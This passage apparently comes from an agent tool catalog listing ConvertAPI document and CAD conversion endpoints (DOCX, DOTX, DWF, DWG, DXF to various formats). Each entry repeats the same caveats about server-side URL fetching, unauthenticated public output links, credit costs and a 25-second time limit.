fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/merge. Scopes: api. convertapi_post_convert_docx_to_odt (write) — DOCX to ODT Conversion API via POST /convert/docx/to/odt. Convert Microsoft Word DOC/DOCX files to OpenDocument Text (ODT) format for cross-platform compatibility. Supports password-protected files and updates table of contents and cross-references. Ideal for migrating to open-source office suites and ensuring document interoperability. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/odt. Scopes: api. convertapi_post_convert_docx_to_pdf (write) — DOCX to PDF Conversion API via POST /convert/docx/to/pdf. The DOCX to PDF API offers seamless, high-speed, and highly accurate conversion of Word documents to PDF, supporting both DOC and DOCX file formats without requiring Microsoft Office. Our API includes advanced options like selecting specific page ranges, converting markups, tags, metadata, headings, and bookmarks, plus updating tables of content automatically. Your documents stay safe with SOC2, ISO 27001, HIPAA, and GDPR compliance, and you can choose to process files completely in memory or use our secure temporary storage that deletes files automatically. Everything in your document stays perfect-fonts, images, tables, and formatting-while our ready-to-use code libraries for JavaScript,... The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/pdf. Scopes: api. convertapi_post_convert_docx_to_png (write) — DOCX to PNG Conversion API via POST /convert/docx/to/png. Convert Microsoft Word documents (DOC/DOCX) to high-quality PNG images with transparency support. Open password-protected files, select specific page ranges, and control image resolution (DPI), dimensions, antialiasing, rotation, and transparent colors. Perfect for web display, thumbnails, and automated document previews. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/png. Scopes: api. convertapi_post_convert_docx_to_protect (write) — Protect Word API via POST /convert/docx/to/protect. Protect Microsoft Word documents with robust password-based encryption to keep sensitive files secure at rest and in transit. Apply a user-defined password and, when supported, restrict actions such as editing or printing while preserving document fidelity and metadata. Use this API to enforce policy in automated pipelines, prepare documents for external distribution, and meet archival or regulatory requirements without manual steps. Designed for batch processing, it produces predictable, consistent results across varied files. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/protect. Scopes: api. convertapi_post_convert_docx_to_rtf (write) — DOCX to RTF Conversion API via POST /convert/docx/to/rtf. Convert Microsoft Word DOCX files to Rich Text Format (RTF) for broad compatibility with word processors. Supports password-protected inputs and updates table of contents and cross-references. Ideal for legacy system integration and ensuring document accessibility across platforms. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/rtf. Scopes: api. convertapi_post_convert_docx_to_tiff (write) — Word to TIFF Conversion API via POST /convert/docx/to/tiff. Convert Microsoft Word documents (DOC/DOCX) to robust TIFF images suitable for records management, print workflows, and interoperability. Open password-protected files when required, and restrict processing to a specific page range to create targeted outputs. Control output using page orientation and page size options, image resolution (DPI), explicit width/height, and color handling, then select a compression mode to balance fidelity and file size. Designed for automation and batch processing, the API produces consistent, high-fidelity TIFF pages across diverse documents and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/tiff. Scopes: api. convertapi_post_convert_docx_to_txt (write) — DOCX to TXT Conversion API via POST /convert/docx/to/txt. Extract clean, UTF-8 plain text from Microsoft Word DOCX documents. Supports password-protected files, configurable line breaks, custom end-of-line characters, save formats, and character substitutions. Ideal for indexing, search, and content pipelines. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/txt. Scopes: api. convertapi_post_convert_docx_to_webp (write) — DOCX to WEBP Conversion API via POST /convert/docx/to/webp. Convert Microsoft Word documents (DOC/DOCX) to efficient WEBP images for modern web applications. Open password-protected files, select specific page ranges, and control page orientation and size. WEBP format offers superior compression and quality compared to traditional formats. Perfect for web optimization and bandwidth-conscious applications. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/webp. Scopes: api. convertapi_post_convert_docx_to_xml (write) — DOCX to XML Conversion API via POST /convert/docx/to/xml. Convert Microsoft Word DOC/DOCX documents to XML with control over XML output type (WordprocessingML, Flat OPC, etc.). Preserves document structure and updates table of contents and references if requested. Ideal for content pipelines and archival. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/docx/to/xml. Scopes: api. convertapi_post_convert_dotx_to_jpg (write) — DOTX to JPG Conversion API via POST /convert/dotx/to/jpg. Convert Microsoft Word template files (DOT/DOTX) to high-quality JPG images for previews and documentation. Open password-protected templates, select specific page ranges, and control image resolution (DPI), width, height, and JPEG quality. Designed for template visualization and automated preview generation. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dotx/to/jpg. Scopes: api. convertapi_post_convert_dotx_to_pdf (write) — DOTX to PDF Conversion API via POST /convert/dotx/to/pdf. Convert Microsoft Word template files (DOT/DOTX) to high-quality PDF documents for distribution and archival. Open password-protected templates, select specific page ranges, and preserve markups, tags, metadata, headings, and bookmarks. Optionally enable PDF/A compliance for long-term preservation. Ideal for template documentation and automated PDF generation workflows. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dotx/to/pdf. Scopes: api. convertapi_post_convert_dwf_to_jpg (write) — DWF to JPG Conversion API via POST /convert/dwf/to/jpg. Convert AutoCAD DWF/DWFX drawings to JPG for previews, review, and archival. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), explicit width/height, output color space, and JPEG quality to balance clarity and file size. Ideal for generating thumbnails and page snapshots in automated pipelines with predictable results across varied drawings and layouts without relying on desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwf/to/jpg. Scopes: api. convertapi_post_convert_dwf_to_pdf (write) — DWF to PDF Conversion API via POST /convert/dwf/to/pdf. Convert AutoCAD DWF/DWFX drawings to high-quality PDF for review, sharing, and archiving. Select model or paper space (or provide a custom space), export layers as needed, and auto-fit content to the page. Control page size and orientation or specify exact width/height for consistent results, and choose an output color space tuned for PDF. Designed for automation, the API produces predictable output across varied drawings and layouts without requiring desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwf/to/pdf. Scopes: api. convertapi_post_convert_dwf_to_png (write) — DWF to PNG Conversion API via POST /convert/dwf/to/png. Convert AutoCAD DWF/DWFX drawings to PNG for web, applications, and archival. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), anti-aliasing for crisp lines, output color space, and mapping a color to transparency for predictable compositing. Ideal for thumbnails, previews, and page snapshots produced reliably across varied drawings and layouts without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwf/to/png. Scopes: api. convertapi_post_convert_dwf_to_svg (write) — DWF to SVG Conversion API via POST /convert/dwf/to/svg. Convert AutoCAD DWF/DWFX drawings to clean, web-friendly SVG graphics. Select model or paper space (or provide a custom space), export layers as needed, and control output with explicit width/height to fit your UI or storage constraints. Choose an SVG-appropriate color space for consistent rendering and tune precision for crisp lines and shapes. Ideal for embedding plans, diagrams, and schematics as scalable vectors across browsers and devices. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwf/to/svg. Scopes: api. convertapi_post_convert_dwf_to_tiff (write) — DWF to TIFF Conversion API via POST /convert/dwf/to/tiff. Convert AutoCAD DWF/DWFX drawings to robust TIFF images for records, print workflows, and interoperability. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), explicit width/height, and output color space. Choose compression and generate single- or multi-page TIFF to fit your pipeline. Ideal for producing consistent, high-fidelity snapshots across varied drawings without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwf/to/tiff. Scopes: api. convertapi_post_convert_dwf_to_webp (write) — DWF to WebP Conversion API via POST /convert/dwf/to/webp. Convert AutoCAD DWF/DWFX drawings to modern WebP images for compact, high-quality delivery. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), anti-aliasing for crisp lines, explicit width/height, output color space, and transparent color mapping. Choose lossless or lossy compression and adjust quality to balance fidelity and file size for web and mobile pipelines. Ideal for thumbnails, previews, and page snapshots produced reliably across varied drawings and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwf/to/webp. Scopes: api. convertapi_post_convert_dwg_to_jpg (write) — DWG to JPG Conversion API via POST /convert/dwg/to/jpg. Convert AutoCAD DWG/DWGX drawings to JPG for previews, review, and archival. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), explicit width/height, output color space, and JPEG quality to balance clarity and file size. Ideal for generating thumbnails and page snapshots in automated pipelines with predictable results across varied drawings and layouts without relying on desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwg/to/jpg. Scopes: api. convertapi_post_convert_dwg_to_pdf (write) — DWG to PDF Conversion API via POST /convert/dwg/to/pdf. Convert AutoCAD DWG/DWGX drawings to high-quality PDF for review, sharing, and archiving. Select model or paper space (or provide a custom space), export layers as needed, and auto-fit content to the page. Control page size and orientation or specify exact width/height for consistent results, and choose an output color space tuned for PDF. Designed for automation, the API produces predictable output across varied drawings and layouts without requiring desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwg/to/pdf. Scopes: api. convertapi_post_convert_dwg_to_png (write) — DWG to PNG Conversion API via POST /convert/dwg/to/png. Convert AutoCAD DWG/DWGX drawings to PNG for web, applications, and archival. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), anti-aliasing for crisp lines, explicit width/height, output color space, and background color to match UI constraints. Ideal for thumbnails, previews, and page snapshots produced reliably across varied drawings and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwg/to/png. Scopes: api. convertapi_post_convert_dwg_to_svg (write) — DWG to SVG Conversion API via POST /convert/dwg/to/svg. Convert AutoCAD DWG/DWGX drawings to clean, web-friendly SVG graphics. Select model or paper space (or provide a custom space), export layers as needed, and control output with explicit width/height to fit your UI or storage constraints. Choose an SVG-appropriate color space for consistent rendering and tune precision for crisp lines and shapes. Ideal for embedding plans, diagrams, and schematics as scalable vectors across browsers and devices. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwg/to/svg. Scopes: api. convertapi_post_convert_dwg_to_tiff (write) — DWG to TIFF Conversion API via POST /convert/dwg/to/tiff. Convert AutoCAD DWG/DWGX drawings to robust TIFF images for records, print workflows, and interoperability. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), explicit width/height, and output color space. Choose compression and generate single- or multi-page TIFF to fit your pipeline. Ideal for producing consistent, high-fidelity snapshots across varied drawings without desktop tools. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwg/to/tiff. Scopes: api. convertapi_post_convert_dwg_to_webp (write) — DWG to WebP Conversion API via POST /convert/dwg/to/webp. Convert AutoCAD DWG/DWGX drawings to modern WebP images for compact, high-quality delivery. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), anti-aliasing for crisp lines, explicit width/height, output color space, and transparent color mapping. Choose lossless or lossy compression and adjust quality to balance fidelity and file size for web and mobile pipelines. Ideal for thumbnails, previews, and page snapshots produced reliably across varied drawings and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dwg/to/webp. Scopes: api. convertapi_post_convert_dxf_to_jpg (write) — DXF to JPG Conversion API via POST /convert/dxf/to/jpg. Convert AutoCAD DXF drawings to JPG for previews, review, and archival. Select model or paper space (or provide a custom space), export layers as needed, and control output with image resolution (DPI), explicit width/height, output color space, and JPEG quality to balance clarity and file size. Ideal for generating thumbnails and page snapshots in automated pipelines with predictable results across varied drawings and layouts. The input may be a URL, which ConvertAPI fetches ITSELF from its own network -- so the fetch carries no Agentic Fabriq credential and reaches whatever ConvertAPI can reach. Agentic Fabriq refuses non-https URLs, URLs carrying userinfo, and private or loopback addresses; that is hygiene, not a boundary. THE OUTPUT IS A PUBLIC URL. The `Url` this returns is ConvertAPI's /d/{fileId} address, and that endpoint authenticates NOTHING (measured 2026-09-24: HEAD, GET and DELETE on a real id all answer 200 with no credential, from every one of ConvertAPI's seven regional hosts). Anyone who obtains the link can read -- or delete -- the converted file for the three hours ConvertAPI keeps it. Do not convert anything whose contents must not be world-readable. Spends conversion credits from the connected account (`ConversionCost` in the reply says how many); check the balance with 'Get account information'. Conversions are given a fixed 25-second budget server-side; a document large enough to need longer cannot be converted through this integration. POST /api/v1/convertapi/convert/dxf/to/jpg. Scopes: api. convertapi_post_convert_dxf_to_pdf (write) — DXF to PDF Conversion API via POST /convert/dxf/to/pdf. Convert AutoCAD DXF drawings to high-quality PDF for review, sharing, and archiving. Select model or paper space (or provide a custom space), export layers as needed, and auto-fit content to the page. 